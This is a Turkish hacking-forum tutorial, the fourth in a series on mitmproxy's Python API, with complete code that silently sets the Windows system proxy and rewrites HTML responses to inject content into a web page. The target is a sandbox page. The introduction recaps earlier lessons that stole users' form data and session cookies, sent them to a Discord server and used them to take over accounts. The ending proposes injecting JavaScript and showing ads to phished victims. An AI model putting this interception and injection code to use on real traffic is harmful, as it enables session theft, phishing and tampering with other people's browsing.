EĞİTİM HAKKINDA
Merhabalar 1. ve 2. rehberimizde daha çok MITM Proxy'nin request metod kısmı üzerine yoğunlaşmıştık (örneğin birinci dersimizde user agent değiştirmek, 2. dersimizde ise kullanıcının dolduruduğu form verilerini yakalayarak discord sunucumuza log yollamak üzerineydi). 3. dersimizde ise kullanıcının çerezlerini çalmaya çalışmıştık. 3. dersimizin örneğinde kullanıcı siteye başarılı bir şekilde giriş yaptığında kullanıcının çerezlerini bizim discord log sunucumuza yolluyordu. Bizler ise daha sonrasında tarayıcıya yüklediğimiz "Cookie Editor" eklentisiyle birlikte log sunucumuza gelen çerez verisiyle birlikte kullanıcının hesabına, kullanıcı adı ve şifre olmadan giriş yapabiliyorduk. Yani 3. dersimizdede Response ile gelen veriyi okuyarak bunun karşılığında bir tetikleme yaptırmıştık. Bu dersimizde ise kullanıcının girdiği sitede önüne istediğimiz HTML kodlarından oluşan görüntüleri getirmeye çalışacağız.
Önemli Bir Not: Virtualenv kurmak, MITM Proxy'nin sertifikasını yüklemek ve proxy ayarlarını yapılandırma kısımları bu rehber üzerinde anlatılmayacaktır. Bu kısımlar 1. rehberimizde açıkça anlatılmıştır. Discord üzerinde güvenilir log sunucusu kurmak ve log sunucusuna mesaj göndermek gibi konularıda 2. rehberimizde ele almıştık. Bu söylediğim kavramlar hakkında bilgi sahibi değilseniz 1. ve 2. konulara, bu konunun en altından ulaşıp oradaki basamaklarada göz atabilirsiniz.
EĞİTİMDE KULLANCAĞIMIZ ÖRNEĞİ TANIYALIM
Konu içerisindede örneğin kaynak kodlarını vereceğim ancak MITM Proxy'nin Python API kısmını yüklemek bazen sancılı olabilyor. Bu nedenle içerisinde requirements.txt'si de bulunan örneğin github sayfasını veriyorum. Burada hazırladığım requirements.txt Python 3.8.6 sürümde stabil olarak çalışmakta, bir virtualenv oluşturarak ve daha sonra virtualenv'i aktif ederek requirements.txt'yi yüklemeniz yeterli olacaktır.
Örneğin GitHub sayfasına gitmek için tıkla.
Python:
import asyncio, winreg
from mitmproxy import options, http
from mitmproxy.tools import dump
from rich.console import Console
from bs4 import BeautifulSoup
console = Console(width=100)
console.print(f"[bold dark_orange]THT ELEMENT INJECTION (EĞİTİM AMAÇLIDIR / FOR EDUCATION)[/bold dark_orange]", no_wrap=True)
# SECTION Kodun çalışması için genel ayarlar.
LISTEN_HOST = "127.0.0.1"
LISTEN_PORT = 1881
NET_DUMP_LOG = False
START_PROXY_WHEN_OPENING = True
# !SECTION
# SECTION Proxy ayarlarını bu iki fonksiyon yapılandırır.
def set_proxy_settings():
try:
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Internet Settings", 0,
winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, "ProxyEnable", 0, winreg.REG_DWORD, 1)
winreg.SetValueEx(registry_key, "ProxyServer", 0, winreg.REG_SZ,
f"{LISTEN_HOST}:{str(LISTEN_PORT)}")
winreg.FlushKey(registry_key)
winreg.CloseKey(registry_key)
except Exception as e:
print("Proxy ayarlarını güncellemede bir hata oluştu:", e)
def disable_proxy_settings():
try:
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Internet Settings", 0,
winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, "ProxyEnable", 0, winreg.REG_DWORD, 0)
winreg.FlushKey(registry_key)
winreg.CloseKey(registry_key)
except Exception as e:
print("Proxy ayarları kaldırılırken bir hata meydana geldi:", e)
# !SECTION
# SECTION HTML kodları aralalığı almak için method.
def parse_html(text, start, end):
try:
return text.split(start)[1].split(end)[0]
except:
return None
# !SECTION
# SECTION Yazılım açıldığında otomatik olarak sistem proxysini ayarlar.
# NOTE İsteğe bağlı genel ayarlardan kapatılabilir.
if START_PROXY_WHEN_OPENING:
set_proxy_settings()
# !SECTION
# SECTION Yazılım ana kod parçacığı.
class RequestLogger:
async def response(self, flow: http.HTTPFlow):
if str(flow.request.url).startswith("https://sandbox.oniyevski.com/element-injection"): # Değişim yapacağım sayfaya girdiğinde bağlantıyı yakalıyoruz.
original_content = flow.response.get_text()
soup = BeautifulSoup(original_content, 'html.parser')
# NOTE Alt satırda https://sandbox.oniyevski.com/element-injection sayfasında bütün kartları aratıyoruz ve biz reklam 2'yi düzenlemek
# istediğimiz için ve reklam 2 sonucu kart olduğu için -1 ile çekiyoruz. Eğer biz Reklam 1'i seçmek istesek -2 alabilirdik.
get_ad_2 = soup.find_all("div", attrs={"class": "card mb-4 shadow-sm"})[-1]
# NOTE Şimdi <h5 class="card-title"></h5> gibi başlıkların arasını düzenlemeyi görelim.
orginal = str(get_ad_2)
# NOTE Yukarıdaki satırla orjinal elementin bir örneğini tutuyoruz.
get_ad_2 = str(get_ad_2)
# NOTE Reklam 2 başlığını değiştirelim.
get_ad_2 = get_ad_2.replace(
parse_html(
get_ad_2,
'<h5 class="card-title">',
'</h5>'
),
"Türk Hack Team"
)
# NOTE Reklam açıklamasını değiştirelim.
get_ad_2 = get_ad_2.replace(
parse_html(
get_ad_2,
'<p class="card-text">',
'</p>'
),
"TurkHackTeam ya da kısa adıyla THT, 2002 yılında Arsenik tarafından kurulmuş, Türkiye'nin en eski siber güvenlik ve hacking forumlarından biridir."
)
# NOTE Daha fazla bilgiye basınca foruma gidecek şekilde ayarlayalım.
get_ad_2 = get_ad_2.replace(
parse_html(
get_ad_2,
'<a class="btn btn-primary" href="',
'">Daha Fazla Bilgi</a>'
),
"https://turkhackteam.org/"
)
# NOTE Reklam görselini değiştirelim.
get_ad_2 = get_ad_2.replace(
parse_html(
get_ad_2,
'class="card-img-top" src="',
'"/>'
),
"https://www.turkhackteam.org/styles/v1/tht/logo.png"
)
soup = str(soup)
soup = soup.replace(orginal, get_ad_2)
flow.response.set_text(soup)
# !SECTION
# SECTION Yazılımın asenkron çalışması için gereken kısımlar.
async def start_proxy(host, port):
opts = options.Options(listen_host=host, listen_port=port)
master = dump.DumpMaster(
opts,
with_termlog=NET_DUMP_LOG,
with_dumper=NET_DUMP_LOG,
)
master.addons.add(RequestLogger())
await master.run()
return master
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
async def create_tasks_func(host, port):
tasks = []
tasks.append(asyncio.create_task(start_proxy(host, port)))
await asyncio.wait(tasks)
def main():
try:
loop.run_until_complete(create_tasks_func(LISTEN_HOST, LISTEN_PORT))
loop.close()
except Exception as e:
print(e)
if __name__ == '__main__':
main()
# !SECTION
ÖRNEĞİN ÇALIŞMA MANTIĞI
PROJENİN CİHAZDA ÇALIŞTIRILMASI
1-2-3-4-5-6. İşlem Basamakları
Proje dosyalarının nasıl indirime, python sanal ortamını (VENV) oluşturmak ve aktif etme, gerekli modülleri yükleme, kodu başlatma, cihazımızı MITM Proxy'e bağlama, isteğe bağı olarak diğer cihazlarımızı MITM Proxy'e bağlama, MITM Proxy sertifikasını yükleme basamaklarını zaten 1. rehberimizde anlatmıştık. Bu nedenle bu rehber içerisinde anlatıp konuyu boğmak istemiyorum. 1. rehberimize göz atmadıysanız ve bu paragrafın başında söylediklerim için hiçbir fikriniz yok ise 1. rehberime göz atmanızı öneririm.
7. İşlem Basamağı
Kendinize göre ve işlem uygulayacağınız siteye göre ana kod parçacığını düzenleyeceksiniz. Biz yasal ve eğitim amacı güttüğümüzden SANDBOX | THT ELEMENT INJECTION adresinde çalışmalarımızı yapacağız. Sizde burada kendiniz antremana sokabilirsiniz. Biz sadece sitenin en alt kısmında bulunan reklam kısımlarıyla oynayacağız. Örneğin benim test alanımda sayfa kaynağını görüntüleyin ve en aşağıdaki kartların bulunduğu elementleri tespit edin, "card mb-4 shadow-sm" bizde kartların ana divi bu şekilde sizde koddaki html değerlerini, sitedeki html değerleriyle karşılaştırarak hızlıca mantığını anlayabilirsiniz. Siz sitede istediğiniz yeri değiştiebilir ve kurcalamaya çalışabilirsiniz.
SONUÇLAR
Kodda da belirttiğimiz gibi aslında yaptığımız işlem şu şekilde: Reklam 2'nin ana divini alıyoruz yani elimize bir kalıp geçiriyoruz. Daha sonrasında bu kalıbın üzerinde değişiklikler yeni bir div oluşturuyoruz. Bu şekilde orjinal veriyle, değişilik yaptığımız veriyi değiştirerekten cevabı manipüle ediyoruz. Kullanıcının siteye girdiğinde göreceği aşağıdaki görseldeki gibidir.
Evet gördüğünüz gibi, aslında sitenin orjinalinde MITM Proxy açık değilken o şekilde bir reklam yok ancak biz bunu MITM Proxy ile enjekte etmeyi başardık. "Bu gibi örnekler nerede kullanılabilir peki?" sorusuna biraz cevap verelim. Böyle bir işlemle tarayıcının içerisine kendi eklentilerinizi yapabilirsiniz (bu yöntemlerle javascript enjekte etmekte mümkün yine aynı adımlar izleniyor), kendi reklam ağınızı oluşturabilir (örneğin google reklamlarını kendinize göre manipüle edebilir, kendi reklamlarınızı oltaladığınız kişilerde gösterebilirisiniz) ve sayılabilecek daha birçok şey mevcut gerisi tamamen sizin hayal gücünüze bağlı.
Konumu Okuduğunuz için Teşekkürler...
ÖNCEKİ KONULARIN BAĞLANTILARI
A'dan Z'ye MITM Proxy Python API Dersleri #1 | 57. Alay | ONIYEVSKI
A'dan Z'ye MITM Proxy Python API Dersleri #2 | 57. Alay | ONIYEVSKI
A'dan Z'ye MITM Proxy Python API Dersleri #3 | 57. Alay | ONIYEVSKI




